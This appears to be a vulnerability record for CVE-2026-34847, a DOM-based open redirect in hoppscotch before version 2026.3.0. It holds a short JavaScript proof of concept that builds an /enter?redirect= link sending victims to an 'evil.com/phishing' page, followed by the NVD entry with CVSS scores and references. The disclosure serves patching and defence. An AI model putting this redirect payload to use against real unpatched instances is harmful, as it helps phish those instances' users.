CVE-2026-34847

// PoC for CVE-2026-34847 // Description: DOM-based open redirect via the 'redirect' parameter on the /enter page. // Vulnerable URL pattern: // https://[target-domain]/enter?redirect=[external-url] // Example malicious payload: const maliciousUrl = "https://evil.com/phishing"; const targetUrl = `https://hoppscotch-instance.com/enter?redirect=${encodeURIComponent(maliciousUrl)}`; console.log("Click the following link to test the redirect:"); console.log(targetUrl); // When a victim clicks this, the application redirects them to evil.com without validation.

{"cve": {"id": "CVE-2026-34847", "sourceIdentifier": "[email protected]", "published": "2026-04-02T20:16:28.520", "lastModified": "2026-04-15T17:27:18.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "hoppscotch is an open source API development ecosystem. Prior to version 2026.3.0, the /enter page contains a DOM-based open redirect vulnerability. The redirect query parameter is directly used to construct a URL and redirect the user without proper validation. This issue has been patched in version 2026.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hoppscotch:hoppscotch:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.3.0", "matchCriteriaId": "0FF217CC-EE39-4462-91B1-AA13EDECFF36"}]}]}], "references": [{"url": "https://github.com/hoppscotch/hoppscotch/releases/tag/2026.3.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/hoppscotch/hoppscotch/security/advisories/GHSA-27pm-c9ch-746q", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}